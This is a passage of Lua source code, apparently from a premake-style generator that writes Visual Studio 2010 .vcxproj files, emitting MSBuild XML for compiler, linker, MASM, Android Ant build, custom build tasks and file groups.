'<CompileAsWinRT>false</CompileAsWinRT>')\nend\n_p(3, '<RuntimeLibrary>%s</RuntimeLibrary>', runtime(cfg))\nif cfg.flags.NoBufferSecurityCheck then\n_p(3, '<BufferSecurityCheck>false</BufferSecurityCheck>')\nend\nif not cfg.flags.NoMultiProcessorCompilation and not cfg.flags.EnableMinimalRebuild then\n_p(3, '<MultiProcessorCompilation>true</MultiProcessorCompilation>')\nelse\n_p(3, '<MultiProcessorCompilation>false</MultiProcessorCompilation>')\nend\nprecompiled_header(cfg)\nif cfg.platform == \"Orbis\" then\nif cfg.flags.PedanticWarnings then\n_p(3, '<Warnings>MoreWarnings</Warnings>')\n_p(3, '<ExtraWarnings>true</ExtraWarnings>')\nelseif cfg.flags.ExtraWarnings then\n_p(3, '<Warnings>NormalWarnings</Warnings>')\n_p(3, '<ExtraWarnings>true</ExtraWarnings>')\nelseif cfg.flags.MinimumWarnings then\n_p(3, '<Warnings>WarningsOff</Warnings>')\n_p(3, '<ExtraWarnings>false</ExtraWarnings>')\nelse\n_p(3, '<Warnings>NormalWarnings</Warnings>')\n_p(3, '<ExtraWarnings>false</ExtraWarnings>')\nend\nif cfg.flags.FatalWarnings then\n_p(3, '<WarningsAsErrors>true</WarningsAsErrors>')\nend\nelseif cfg.platform == \"TegraAndroid\" then\nif cfg.flags.PedanticWarnings or cfg.flags.ExtraWarnings then\n_p(3, '<Warnings>AllWarnings</Warnings>')\nelseif cfg.flags.MinimumWarnings then\n_p(3, '<Warnings>DisableAllWarnings</Warnings>')\nelse\n_p(3, '<Warnings>NormalWarnings</Warnings>')\nend\nif cfg.flags.FatalWarnings then\n_p(3, '<WarningsAsErrors>true</WarningsAsErrors>')\nend\nelse\nif cfg.flags.PedanticWarnings then\n_p(3, '<WarningLevel>EnableAllWarnings</WarningLevel>')\nelseif cfg.flags.ExtraWarnings then\n_p(3, '<WarningLevel>Level4</WarningLevel>')\nelseif cfg.flags.MinimumWarnings then\n_p(3, '<WarningLevel>Level1</WarningLevel>')\nelse\n_p(3 ,'<WarningLevel>Level3</WarningLevel>')\nend\nend\nif cfg.flags.FatalWarnings then\n_p(3, '<TreatWarningAsError>true</TreatWarningAsError>')\nend\nif premake.action.current() == premake.action.get(\"vs2017\") or\n premake.action.current() == premake.action.get(\"vs2019\") then\ncppstandard_vs2017_or_2019(cfg)\nend\nexceptions(cfg)\nrtti(cfg)\ncalling_convention(cfg)\nwchar_t_builtin(cfg)\nsse(cfg)\nfloating_point(cfg)\ndebug_info(cfg)\nif cfg.flags.Symbols then\nif cfg.kind == \"StaticLib\" then\n_p(3, '<ProgramDataBaseFileName>$(OutDir)%s.pdb</ProgramDataBaseFileName>'\n, path.getbasename(cfg.buildtarget.name)\n)\nelse\n_p(3, '<ProgramDataBaseFileName>$(IntDir)%s.compile.pdb</ProgramDataBaseFileName>'\n, path.getbasename(cfg.buildtarget.name)\n)\nend\nend\nif cfg.flags.Hotpatchable then\n_p(3, '<CreateHotpatchableImage>true</CreateHotpatchableImage>')\nend\nif cfg.flags.NoFramePointer then\n_p(3, '<OmitFramePointers>true</OmitFramePointers>')\nend\nif cfg.flags.UseFullPaths then\n_p(3, '<UseFullPaths>true</UseFullPaths>')\nend\nif cfg.flags.NoJMC then\n_p(3,'<SupportJustMyCode>false</SupportJustMyCode>' )\nend\ncompile_language(cfg)\nforcedinclude_files(3,cfg);\nif vstudio.diagformat then\n_p(3, '<DiagnosticsFormat>%s</DiagnosticsFormat>', vstudio.diagformat)\nelse\n_p(3, '<DiagnosticsFormat>Caret</DiagnosticsFormat>')\nend\n_p(2,'</ClCompile>')\nend\nlocal function event_hooks(cfg)\nif #cfg.postbuildcommands> 0 then\n _p(2,'<PostBuildEvent>')\n_p(3,'<Command>%s</Command>',premake.esc(table.implode(cfg.postbuildcommands, \"\", \"\", \"\\r\\n\")))\n_p(2,'</PostBuildEvent>')\nend\nif #cfg.prebuildcommands> 0 then\n _p(2,'<PreBuildEvent>')\n_p(3,'<Command>%s</Command>',premake.esc(table.implode(cfg.prebuildcommands, \"\", \"\", \"\\r\\n\")))\n_p(2,'</PreBuildEvent>')\nend\nif #cfg.prelinkcommands> 0 then\n _p(2,'<PreLinkEvent>')\n_p(3,'<Command>%s</Command>',premake.esc(table.implode(cfg.prelinkcommands, \"\", \"\", \"\\r\\n\")))\n_p(2,'</PreLinkEvent>')\nend\nend\nlocal function additional_options(indent,cfg)\nif #cfg.linkoptions > 0 then\n_p(indent,'<AdditionalOptions>%s %%(AdditionalOptions)</AdditionalOptions>',\ntable.concat(premake.esc(cfg.linkoptions), \" \"))\nend\nend\nlocal function link_target_machine(index,cfg)\nlocal platforms = {x32 = 'MachineX86', x64 = 'MachineX64'}\nif platforms[cfg.platform] then\n_p(index,'<TargetMachine>%s</TargetMachine>', platforms[cfg.platform])\nend\nend\nlocal function item_def_lib(cfg)\nif cfg.kind == 'StaticLib' and cfg.platform ~= \"Xbox360\" then\n_p(1,'<Lib>')\n_p(2,'<OutputFile>$(OutDir)%s</OutputFile>',cfg.buildtarget.name)\nadditional_options(2,cfg)\nlink_target_machine(2,cfg)\n_p(1,'</Lib>')\nend\nend\nlocal function import_lib(cfg)\nif cfg.kind == \"SharedLib\" then\nlocal implibname = cfg.linktarget.fullpath\n_p(3,'<ImportLibrary>%s</ImportLibrary>',iif(cfg.flags.NoImportLib, cfg.objectsdir .. \"\\\\\" .. path.getname(implibname), implibname))\nend\nend\nlocal function hasmasmfiles(prj)\nlocal files = vc2010.getfilegroup(prj, \"MASM\")\nreturn #files > 0\nend\nlocal function ismanagedprj(prj, cfgname, pltname)\nlocal cfg = premake.getconfig(prj, cfgname, pltname)\nreturn cfg.flags.Managed == true\nend\nlocal function getcfglinks(cfg)\nlocal haswholearchive = #cfg.wholearchive > 0\nlocal msvcnaming = premake.getnamestyle(cfg) == \"windows\"\nlocal iscppprj = premake.iscppproject(cfg)\nlocal isnetprj = premake.isdotnetproject(cfg)\nlocal linkobjs = {}\nlocal links = iif(haswholearchive\n, premake.getlinks(cfg, \"all\", \"object\")\n, premake.getlinks(cfg, \"system\", \"fullpath\")\n)\nfor _, link in ipairs(links) do\nlocal name = nil\nlocal directory = nil\nlocal whole = nil\nif type(link) == \"table\" then\nif not ismanagedprj(link.project, cfg.name, cfg.platform) then\nname = link.linktarget.basename\ndirectory = path.rebase(link.linktarget.directory, link.location, cfg.location)\nwhole = table.icontains(cfg.wholearchive, link.project.name)\nend\nelse\nname = link\nwhole = table.icontains(cfg.wholearchive, link)\nend\nif name then\nif haswholearchive and msvcnaming then\nif iscppprj then\nname = name .. \".lib\"\nelseif isnetprj then\nname = name .. \".dll\"\nend\nend\ntable.insert(linkobjs, {name=name, directory=directory, wholearchive=whole})\nend\nend\nreturn linkobjs\nend\nlocal function vs10_masm(prj, cfg)\nif hasmasmfiles(prj) then\n_p(2, '<MASM>')\n_p(3,'<AdditionalOptions>%s %%(AdditionalOptions)</AdditionalOptions>'\n, table.concat(premake.esc(table.join(cfg.buildoptions, cfg.buildoptions_asm)), \" \")\n)\nlocal includedirs = table.join(cfg.userincludedirs, cfg.includedirs, cfg.systemincludedirs)\nif #includedirs > 0 then\n_p(3, '<IncludePaths>%s;%%(IncludePaths)</IncludePaths>'\n, premake.esc(path.translate(table.concat(includedirs, \";\"), '\\\\'))\n)\nend\nlocal defines = table.join(cfg.defines)\ntable.insertflat(defines, iif(premake.config.isdebugbuild(cfg), \"_DEBUG\", {}))\ntable.insert(defines, iif(cfg.platform == \"x64\", \"_WIN64\", \"_WIN32\"))\ntable.insert(defines, iif(prj.kind == \"SharedLib\", \"_EXPORT=EXPORT\", \"_EXPORT=\"))\n_p(3, '<PreprocessorDefinitions>%s;%%(PreprocessorDefinitions)</PreprocessorDefinitions>'\n, premake.esc(table.concat(defines, \";\"))\n)\nif cfg.flags.FatalWarnings then\n_p(3,'<TreatWarningsAsErrors>true</TreatWarningsAsErrors>')\nend\nif cfg.flags.MinimumWarnings then\n_p(3,'<WarningLevel>0</WarningLevel>')\nelse\n_p(3,'<WarningLevel>3</WarningLevel>')\nend\n_p(2, '</MASM>')\nend\nend\nlocal function additional_manifest(cfg)\nif(cfg.dpiawareness ~= nil) then\n_p(2,'<Manifest>')\nif(cfg.dpiawareness == \"None\") then\n_p(3, '<EnableDpiAwareness>false</EnableDpiAwareness>')\nend\nif(cfg.dpiawareness == \"High\") then\n_p(3, '<EnableDpiAwareness>true</EnableDpiAwareness>')\nend\nif(cfg.dpiawareness == \"HighPerMonitor\") then\n_p(3, '<EnableDpiAwareness>PerMonitorHighDPIAware</EnableDpiAwareness>')\nend\n_p(2,'</Manifest>')\nend\nend\nfunction vc2010.link(cfg)\nlocal vs2017OrLater = premake.action.current() == premake.action.get(\"vs2017\") or\n premake.action.current() == premake.action.get(\"vs2019\")\nlocal links = getcfglinks(cfg)\n_p(2,'<Link>')\n_p(3,'<SubSystem>%s</SubSystem>', iif(cfg.kind == \"ConsoleApp\", \"Console\", \"Windows\"))\nif vs2017OrLater and cfg.flags.FullSymbols then\n_p(3,'<GenerateDebugInformation>DebugFull</GenerateDebugInformation>')\nelse\n_p(3,'<GenerateDebugInformation>%s</GenerateDebugInformation>', tostring(cfg.flags.Symbols ~= nil))\nend\nif cfg.flags.Symbols then\n_p(3, '<ProgramDatabaseFile>$(OutDir)%s.pdb</ProgramDatabaseFile>'\n, path.getbasename(cfg.buildtarget.name)\n)\nend\nif premake.config.islinkeroptimizedbuild(cfg.flags) then\nif cfg.platform == \"Orbis\" then\n_p(3,'<DataStripping>StripFuncsAndData</DataStripping>')\n_p(3,'<DuplicateStripping>true</DuplicateStripping>')\nelse\n_p(3,'<EnableCOMDATFolding>true</EnableCOMDATFolding>')\n_p(3,'<OptimizeReferences>true</OptimizeReferences>')\nend\nelseif cfg.platform == \"Orbis\" and premake.config.iseditandcontinue(cfg) then\n_p(3,'<EditAndContinue>true</EditAndContinue>')\nend\nif cfg.finalizemetasource ~= nil then\n_p(3,'<FinalizeMetaSource>%s</FinalizeMetaSource>', premake.esc(cfg.finalizemetasource))\nend\nif cfg.kind ~= 'StaticLib' then\nvc2010.additionalDependencies(3, cfg, links)\nvc2010.additionalLibraryDirectories(3, cfg, links)\n_p(3,'<OutputFile>$(OutDir)%s</OutputFile>', cfg.buildtarget.name)\nif vc2010.config_type(cfg) == 'Application' and not cfg.flags.WinMain and not cfg.flags.Managed then\nif cfg.flags.Unicode then\n_p(3,'<EntryPointSymbol>wmainCRTStartup</EntryPointSymbol>')\nelse\n_p(3,'<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>')\nend\nend\nimport_lib(cfg)\nlocal deffile = premake.findfile(cfg, \".def\")\nif deffile then\n_p(3,'<ModuleDefinitionFile>%s</ModuleDefinitionFile>', deffile)\nend\nlink_target_machine(3,cfg)\nadditional_options(3,cfg)\nif cfg.flags.NoWinMD and vstudio.iswinrt() and prj.kind == \"WindowedApp\" then\n_p(3,'<GenerateWindowsMetadata>false</GenerateWindowsMetadata>' )\nend\nend\nif cfg.platform == \"TegraAndroid\" then\nif cfg.androidlinker then\n_p(3,'<UseLinker>%s</UseLinker>',cfg.androidlinker)\nend\nend\nif cfg.flags.Hotpatchable then\n_p(3, '<CreateHotPatchableImage>Enabled</CreateHotPatchableImage>')\nend\nif cfg.flags.GenerateMapFiles then\n_p(3, '<GenerateMapFile>true</GenerateMapFile>')\nend\n_p(2,'</Link>')\nif #cfg.wholearchive > 0 then\n_p(2, '<ProjectReference>')\n_p(3, '<LinkLibraryDependencies>false</LinkLibraryDependencies>')\n_p(2, '</ProjectReference>')\nend\nend\nfunction vc2010.additionalLibraryDirectories(tab, cfg, links)\nlocal dirs = cfg.libdirs\nfor _, link in ipairs(links) do\nif link.directory and not table.icontains(dirs, link.directory) then\ntable.insert(dirs, link.directory)\nend\nend\n_p(tab, '<AdditionalLibraryDirectories>%s;%%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>'\n, premake.esc(path.translate(table.concat(dirs, ';'), '\\\\'))\n)\nend\nfunction vc2010.additionalDependencies(tab, cfg, links)\nif #links > 0 then\nlocal deps = \"\"\nif cfg.platform == \"Orbis\" then\nlocal iswhole = false\nfor _, link in ipairs(links) do\nif link.wholearchive and not iswhole then\ndeps = deps .. \"--whole-archive;\"\niswhole = true\nelseif not link.wholearchive and iswhole then\ndeps = deps .. \"--no-whole-archive;\"\niswhole = false\nend\ndeps = deps .. \"-l\" .. link.name .. \";\"\nend\nelse\nfor _, link in ipairs(links) do\nif link.wholearchive then\ndeps = deps .. \"/WHOLEARCHIVE:\" .. link.name .. \";\"\nelse\ndeps = deps .. link.name .. \";\"\nend\nend\nend\nif cfg.platform == \"TegraAndroid\" then\ndeps = \"-Wl,--start-group;\" .. deps .. \";-Wl,--end-group\"\nend\n_p(tab, '<AdditionalDependencies>%s;%s</AdditionalDependencies>'\n, deps\n, iif(cfg.platform == \"Durango\"\n, '%(XboxExtensionsDependencies)'\n, '%(AdditionalDependencies)'\n)\n)\nelseif cfg.platform == \"Durango\" then\n_p(tab, '<AdditionalDependencies>%%(XboxExtensionsDependencies)</AdditionalDependencies>')\nend\nend\nfunction ant_build(prj, cfg)\nif cfg.platform == \"TegraAndroid\" then\nlocal files = vc2010.getfilegroup(prj, \"AndroidBuild\")\n_p(2,'<AntBuild>')\nif #files > 0 then\n_p(3,'<AndroidManifestLocation>%s</AndroidManifestLocation>',path.translate(files[1].name))\nend\nlocal isdebugbuild = premake.config.isdebugbuild(cfg)\n_p(3,'<AntBuildType>%s</AntBuildType>',iif(isdebugbuild, 'Debug','Release'))\n_p(3,'<Debuggable>%s</Debuggable>',tostring(cfg.flags.AntBuildDebuggable ~= nil))\nif #cfg.antbuildjavasourcedirs > 0 then\nlocal dirs = table.concat(cfg.antbuildjavasourcedirs,\";\")\n_p(3,'<JavaSourceDir>%s</JavaSourceDir>',dirs)\nend\nif #cfg.antbuildjardirs > 0 then\nlocal dirs = table.concat(cfg.antbuildjardirs,\";\")\n_p(3,'<JarDirectories>%s</JarDirectories>',dirs)\nend\nif #cfg.antbuildjardependencies > 0 then\nlocal dirs = table.concat(cfg.antbuildjardependencies,\";\")\n_p(3,'<JarDependencies>%s</JarDependencies>',dirs)\nend\nif #cfg.antbuildnativelibdirs > 0 then\nlocal dirs = table.concat(cfg.antbuildnativelibdirs,\";\")\n_p(3,'<NativeLibDirectories>%s</NativeLibDirectories>',dirs)\nend\nif #cfg.antbuildnativelibdependencies > 0 then\nlocal dirs = table.concat(cfg.antbuildnativelibdependencies,\";\")\n_p(3,'<NativeLibDependencies>%s</NativeLibDependencies>',dirs)\nend\nif #cfg.antbuildassetsdirs > 0 then\nlocal dirs = table.concat(cfg.antbuildassetsdirs,\";\")\n_p(3,'<AssetsDirectories>%s</AssetsDirectories>',dirs)\nend\n_p(2,'</AntBuild>')\nend\nend\nlocal function item_definitions(prj)\nfor _, cfginfo in ipairs(prj.solution.vstudio_configs) do\nlocal cfg = premake.getconfig(prj, cfginfo.src_buildcfg, cfginfo.src_platform)\n_p(1,'<ItemDefinitionGroup ' ..if_config_and_platform() ..'>'\n,premake.esc(cfginfo.name))\nvs10_clcompile(cfg)\nresource_compile(cfg)\nitem_def_lib(cfg)\nvc2010.link(cfg)\nant_build(prj, cfg)\nevent_hooks(cfg)\nvs10_masm(prj, cfg)\nadditional_manifest(cfg)\n_p(1,'</ItemDefinitionGroup>')\nend\nend\nfunction vc2010.getfilegroup(prj, group)\nlocal sortedfiles = prj.vc2010sortedfiles\nif not sortedfiles then\nsortedfiles = {\nClCompile = {},\nClInclude = {},\nMASM = {},\nObject = {},\nNone = {},\nResourceCompile = {},\nAppxManifest = {},\nAndroidBuild = {},\nNatvis = {},\nImage = {},\nDeploymentContent = {}\n}\nlocal foundAppxManifest = false\nfor file in premake.project.eachfile(prj, true) do\nif path.issourcefilevs(file.name) then\ntable.insert(sortedfiles.ClCompile, file)\nelseif path.iscppheader(file.name) then\nif not table.icontains(prj.removefiles, file) then\ntable.insert(sortedfiles.ClInclude, file)\nend\nelseif path.isobjectfile(file.name) then\ntable.insert(sortedfiles.Object, file)\nelseif path.isresourcefile(file.name) then\ntable.insert(sortedfiles.ResourceCompile, file)\nelseif path.isimagefile(file.name) then\ntable.insert(sortedfiles.Image, file)\nelseif path.isappxmanifest(file.name) then\nfoundAppxManifest = true\ntable.insert(sortedfiles.AppxManifest, file)\nelseif path.isandroidbuildfile(file.name) then\ntable.insert(sortedfiles.AndroidBuild, file)\nelseif path.isnatvis(file.name) then\ntable.insert(sortedfiles.Natvis, file)\nelseif path.isasmfile(file.name) then\ntable.insert(sortedfiles.MASM, file)\nelseif file.flags and table.icontains(file.flags, \"DeploymentContent\") then\ntable.insert(sortedfiles.DeploymentContent, file)\nelse\ntable.insert(sortedfiles.None, file)\nend\nend\nif vstudio.iswinrt() and prj.kind == \"WindowedApp\" and not foundAppxManifest then\nvstudio.needAppxManifest = true\nlocal fcfg = {}\nfcfg.name = prj.name .. \"/Package.appxmanifest\"\nfcfg.vpath = premake.project.getvpath(prj, fcfg.name)\ntable.insert(sortedfiles.AppxManifest, fcfg)\nlocal logo = {}\nlogo.name = prj.name .. \"/Logo.png\"\nlogo.vpath = logo.name\ntable.insert(sortedfiles.Image, logo)\nlocal smallLogo = {}\nsmallLogo.name = prj.name .. \"/SmallLogo.png\"\nsmallLogo.vpath = smallLogo.name\ntable.insert(sortedfiles.Image, smallLogo)\nlocal storeLogo = {}\nstoreLogo.name = prj.name .. \"/StoreLogo.png\"\nstoreLogo.vpath = storeLogo.name\ntable.insert(sortedfiles.Image, storeLogo)\nlocal splashScreen = {}\nsplashScreen.name = prj.name .. \"/SplashScreen.png\"\nsplashScreen.vpath = splashScreen.name\ntable.insert(sortedfiles.Image, splashScreen)\nend\nprj.vc2010sortedfiles = sortedfiles\nend\nreturn sortedfiles[group]\nend\nfunction vc2010.files(prj)\nvc2010.simplefilesgroup(prj, \"ClInclude\")\nvc2010.compilerfilesgroup(prj)\nvc2010.simplefilesgroup(prj, \"Object\")\nvc2010.simplefilesgroup(prj, \"None\")\nvc2010.customtaskgroup(prj)\nvc2010.simplefilesgroup(prj, \"ResourceCompile\")\nvc2010.simplefilesgroup(prj, \"AppxManifest\")\nvc2010.simplefilesgroup(prj, \"AndroidBuild\")\nvc2010.simplefilesgroup(prj, \"Natvis\")\nvc2010.deploymentcontentgroup(prj, \"Image\")\nvc2010.deploymentcontentgroup(prj, \"DeploymentContent\", \"None\")\nend\nfunction vc2010.customtaskgroup(prj)\nlocal files = { }\nfor _, custombuildtask in ipairs(prj.custombuildtask or {}) do\nfor _, buildtask in ipairs(custombuildtask or {}) do\nlocal fcfg = { }\nfcfg.name = path.getrelative(prj.location,buildtask[1])\nfcfg.vpath = path.trimdots(fcfg.name)\ntable.insert(files, fcfg)\nend\nend\nif #files > 0 then\n_p(1,'<ItemGroup>')\nlocal groupedBuildTasks = {}\nlocal buildTaskNames = {}\nfor _, custombuildtask in ipairs(prj.custombuildtask or {}) do\nfor _, buildtask in ipairs(custombuildtask or {}) do\nif (groupedBuildTasks[buildtask[1]] == nil) then\ngroupedBuildTasks[buildtask[1]] = {}\ntable.insert(buildTaskNames, buildtask[1])\nend\ntable.insert(groupedBuildTasks[buildtask[1]], buildtask)\nend\nend\nfor _, name in ipairs(buildTaskNames) do\ncustombuildtask = groupedBuildTasks[name]\n_p(2,'<CustomBuild Include=\\\"%s\\\">', path.translate(path.getrelative(prj.location,name), \"\\\\\"))\n_p(3,'<FileType>Text</FileType>')\nlocal cmd = \"\"\nlocal outputs = \"\"\nfor _, buildtask in ipairs(custombuildtask or {}) do\nfor _, cmdline in ipairs(buildtask[4] or {}) do\ncmd = cmd .. cmdline\nlocal num = 1\nfor _, depdata in ipairs(buildtask[3] or {}) do\ncmd = string.gsub(cmd,\"%$%(\" .. num ..\"%)\", string.format(\"%s \",path.getrelative(prj.location,depdata)))\nnum = num + 1\nend\ncmd = string.gsub(cmd, \"%$%(<%)\", string.format(\"%s \",path.getrelative(prj.location,buildtask[1])))\ncmd = string.gsub(cmd, \"%$%(@%)\", string.format(\"%s \",path.getrelative(prj.location,buildtask[2])))\ncmd = cmd .. \"\\r\\n\"\nend\noutputs = outputs .. path.getrelative(prj.location,buildtask[2]) .. \";\"\nend\n_p(3,'<Command>%s</Command>',cmd)\n_p(3,'<Outputs>%s%%(Outputs)</Outputs>',outputs)\n_p(3,'<SubType>Designer</SubType>')\n_p(3,'<Message></Message>')\n_p(2,'</CustomBuild>')\nend\n_p(1,'</ItemGroup>')\nend\nend\nfunction vc2010.simplefilesgroup(prj, section, subtype)\nlocal configs = prj.solution.vstudio_configs\nlocal files = vc2010.getfilegroup(prj, section)\nif #files > 0 then\nlocal config_mappings = {}\nfor _, cfginfo in ipairs(configs) do\nlocal cfg = premake.getconfig(prj, cfginfo.src_buildcfg, cfginfo.src_platform)\nif cfg.pchheader and cfg.pchsource and not cfg.flags.NoPCH then\nconfig_mappings[cfginfo] = path.translate(cfg.pchsource, \"\\\\\")\nend\nend\n_p(1,'<ItemGroup>')\nfor _, file in ipairs(files) do\nlocal prjexcluded = table.icontains(prj.excludes, file.name)\nlocal excludedcfgs = {}\nif not prjexcluded then\nfor _, vsconfig in ipairs(configs) do\nlocal cfg = premake.getconfig(prj, vsconfig.src_buildcfg, vsconfig.src_platform)\nlocal fileincfg = table.icontains(cfg.files, file.name)\nlocal cfgexcluded = table.icontains(cfg.excludes, file.name)\nif not fileincfg or cfgexcluded then\ntable.insert(excludedcfgs, vsconfig.name)\nend\nend\nend\nif subtype or prjexcluded or #excludedcfgs > 0 then\n_p(2, '<%s Include=\\\"%s\\\">', section, path.translate(file.name, \"\\\\\"))\nif prjexcluded then\n_p(3, '<ExcludedFromBuild>true</ExcludedFromBuild>')\nelse\nfor _, cfgname in ipairs(excludedcfgs) do\n_p(3, '<ExcludedFromBuild '\n.. if_config_and_platform()\n.. '>true</ExcludedFromBuild>'\n, premake.esc(cfgname)\n)\nend\nend\nif subtype then\n_p(3, '<SubType>%s</SubType>', subtype)\nend\n_p(2,'</%s>', section)\nelse\n_p(2, '<%s Include=\\\"%s\\\" />', section, path.translate(file.name, \"\\\\\"))\nend\nend\n_p(1,'</ItemGroup>')\nend\nend\nfunction vc2010.deploymentcontentgroup(prj, section, filetype)\nif filetype == nil then\nfiletype = section\nend\nlocal files = vc2010.getfilegroup(prj, section)\nif #files > 0 then\n_p(1,'<ItemGroup>')\nfor _, file in ipairs(files) do\n_p(2,'<%s Include=\\\"%s\\\">', filetype, path.translate(file.name, \"\\\\\"))\n_p(3,'<DeploymentContent>true</DeploymentContent>')\n_p(3,'<Link>%s</Link>', path.translate(file.vpath, \"\\\\\"))\n_p(2,'</%s>', filetype)\nend\n_p(1,'</ItemGroup>')\nend\nend\nfunction vc2010.compilerfilesgroup(prj)\nlocal configs = prj.solution.vstudio_configs\nlocal files = vc2010.getfilegroup(prj, \"ClCompile\")\nif #files > 0 then\nlocal config_mappings = {}\nfor _, cfginfo in ipairs(configs) do\nlocal cfg = premake.getconfig(prj, cfginfo.src_buildcfg, cfginfo.src_platform)\nif cfg.pchheader and cfg.pchsource and not cfg.flags.NoPCH then\nconfig_mappings[cfginfo] = path.translate(cfg.pchsource, \"\\\\\")\nend\nend\n_p(1,'<ItemGroup>')\nlocal existingBasenames = {};\nfor _, file in ipairs(files) do\nlocal filename = string.lower(path.getbasename(file.name))\nlocal disambiguation = existingBasenames[filename] or 0;\nexistingBasenames[filename] = disambiguation + 1\nlocal translatedpath = path.translate(file.name, \"\\\\\")\n_p(2, '<ClCompile Include=\\\"%s\\\">', translatedpath)\nfor _, vsconfig in ipairs(configs) do\nlocal cfg = premake.getconfig(prj, vsconfig.src_buildcfg, vsconfig.src_platform)\nlocal namestyle = premake.getnamestyle(cfg)\nif namestyle == \"TegraAndroid\" or namestyle == \"NX\" then\n_p(3, '<ObjectFileName '.. if_config_and_platform() .. '>$(IntDir)%s.o</ObjectFileName>', premake.esc(vsconfig.name), premake.esc(path.translate(path.trimdots(path.removeext(file.name)))) )\nelse\nif disambiguation > 0 then\n_p(3, '<ObjectFileName '.. if_config_and_platform() .. '>$(IntDir)%s\\\\</ObjectFileName>', premake.esc(vsconfig.name), tostring(disambiguation))\nend\nend\nend\nif path.iscxfile(file.name) then\n_p(3, '<CompileAsWinRT>true</CompileAsWinRT>')\n_p(3, '<RuntimeTypeInfo>true</RuntimeTypeInfo>')\n_p(3, '<PrecompiledHeader>NotUsing</PrecompiledHeader>')\nend\nif vstudio.iswinrt() and string.len(file.name) > 2 and string.sub(file.name, -2) == \".c\" then\n_p(3,'<CompileAsWinRT>FALSE</CompileAsWinRT>')\nend\nfor _, cfginfo in ipairs(configs) do\nif config_mappings[cfginfo] and translatedpath == config_mappings[cfginfo] then\n_p(3,'<PrecompiledHeader '.. if_config_and_platform() .. '>Create</PrecompiledHeader>', premake.esc(cfginfo.name))\nconfig_mappings[cfginfo] = nil --only one source file per pch\nend\nend\nlocal nopch = table.icontains(prj.nopch, file.name)\nfor _, vsconfig in ipairs(configs) do\nlocal cfg = premake.getconfig(prj, vsconfig.src_buildcfg, vsconfig.src_platform)\nif nopch or table.icontains(cfg.nopch, file.name) then\n_p(3,'<PrecompiledHeader '.. if_config_and_platform() .. '>NotUsing</PrecompiledHeader>', premake.esc(vsconfig.name))\nend\nend\nlocal excluded = table.icontains(prj.excludes, file.name)\nfor _, vsconfig in ipairs(configs) do\nlocal cfg = premake.getconfig(prj, vsconfig.src_buildcfg, vsconfig.src_platform)\nlocal fileincfg = table.icontains(cfg.files, file.name)\nlocal cfgexcluded = table.icontains(cfg.excludes, file.name)\nif excluded or not fileincfg or cfgexcluded then\n_p(3, '<ExcludedFromBuild '\n.. if_config_and_platform()\n.. '>true</ExcludedFromBuild>'\n, premake.esc(vsconfig.name)\n)\nend\nend\nif prj.flags and prj.flags.Managed then\nlocal prjforcenative = table.icontains(prj.forcenative, file.name)\nfor _,vsconfig in ipairs(configs) do\nlocal cfg = premake.getconfig(prj, vsconfig.src_buildcfg, vsconfig.src_platform)\nif prjforcenative or table.icontains(cfg.forcenative, file.name) then\n_p(3, '<CompileAsManaged ' .. if_config_and_platform() .. '>false</CompileAsManaged>', premake.esc(vsconfig.name))\nend\nend\nend\n_p(2,'</ClCompile>')\nend\n_p(1,'</ItemGroup>')\nend\nend\nfunction vc2010.masmfiles(prj)\nlocal configs = prj.solution.vstudio_configs\nlocal files = vc2010.getfilegroup(prj, \"MASM\")\nif #files > 0 then\n_p(1, '<ItemGroup>')\nfor _, file in ipairs(files) do\nlocal translatedpath = path.translate(file.name, \"\\\\\")\n_p(2, '<MASM Include=\"%s\">', translatedpath)\nlocal excluded = table.icontains(prj.excludes, file.name)\nfor _, vsconfig in ipairs(configs) do\nlocal cfg = premake.getconfig(prj, vsconfig.src_buildcfg, vsconfig.src_platform)\nlocal fileincfg = table.icontains(cfg.files, file.name)\nlocal cfgexcluded = table.icontains(cfg.excludes, file.name)\nif excluded or not fileincfg or cfgexcluded then\n_p(3, '<ExcludedFromBuild '\n.. if_config_and_platform()\n.. '>true</ExcludedFromBuild>'\n, premake.esc(vsconfig.name)\n)\nend\nend\n_p(2, '</MASM>')\nend\n_p(1, '</ItemGroup>')\nend\nend\nfunction vc2010.header(targets)\nio.eol = \"\\r\\n\"\n_p('<?xml version=\"1.0\" encoding=\"utf-8\"?>')\nlocal t = \"\"\nif targets then\nt = ' DefaultTargets=\"' .. targets .. '\"'\nend\n_p('<Project%s ToolsVersion=\"%s\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">', t, action.vstudio.toolsVersion)\nend\nfunction premake.vs2010_vcxproj(prj)\nlocal usemasm = hasmasmfiles(prj)\nio.indent = \" \"\nvc2010.header(\"Build\")\nvs2010_config(prj)\nvs2010_globals(prj)\n_p(1,'<Import Project=\"$(VCTargetsPath)\\\\Microsoft.Cpp.Default.props\" />')\nfor _, cfginfo in ipairs(prj.solution.vstudio_configs) do\nlocal cfg = premake.getconfig(prj, cfginfo.src_buildcfg, cfginfo.src_platform)\nvc2010.configurationPropertyGroup(cfg, cfginfo)\nend\n_p(1,'<Import Project=\"$(VCTargetsPath)\\\\Microsoft.Cpp.props\" />')\n_p(1,'<ImportGroup Label=\"ExtensionSettings\">')\nif usemasm then\n_p(2, '<Import Project=\"$(VCTargetsPath)\\\\BuildCustomizations\\\\masm.props\" />')\nend\n_p(1,'</ImportGroup>')\nimport_props(prj)\n_p(1,'<PropertyGroup Label=\"UserMacros\" />')\nvc2010.outputProperties(prj)\nitem_definitions(prj)\nvc2010.files(prj)\nvc2010.clrReferences(prj)\nvc2010.projectReferences(prj)\nvc2010.sdkReferences(prj)\nvc2010.masmfiles(prj)\n_p(1,'<Import Project=\"$(VCTargetsPath)\\\\Microsoft.Cpp.targets\" />')\n_p(1,'<ImportGroup Label=\"ExtensionTargets\">')\nif usemasm then\n_p(2, '<Import Project=\"$(VCTargetsPath)\\\\BuildCustomizations\\\\masm.targets\" />')\nend\n_p(1,'</ImportGroup>')\n_p('</Project>')\nend\nfunction vc2010.clrReferences(prj)\nif #prj.clrreferences == 0 then\nreturn\nend\n_p(1,'<ItemGroup>')\nfor _, ref in ipairs(prj.clrreferences) do\nif os.isfile(ref) then\nlocal assembly = path.getbasename(ref)\n_p(2,'<Reference Include=\"%s\">', assembly)\n_p(3,'<HintPath>%s</HintPath>', path.getrelative(prj.location, ref))\n_p(2,'</Reference>')\nelse\n_p(2,'<Reference Include=\"%s\" />', ref)\nend\nend\n_p(1,'</ItemGroup>')\nend\nfunction vc2010.projectReferences(prj)\nlocal deps = premake.getdependencies(prj)\nif #deps == 0 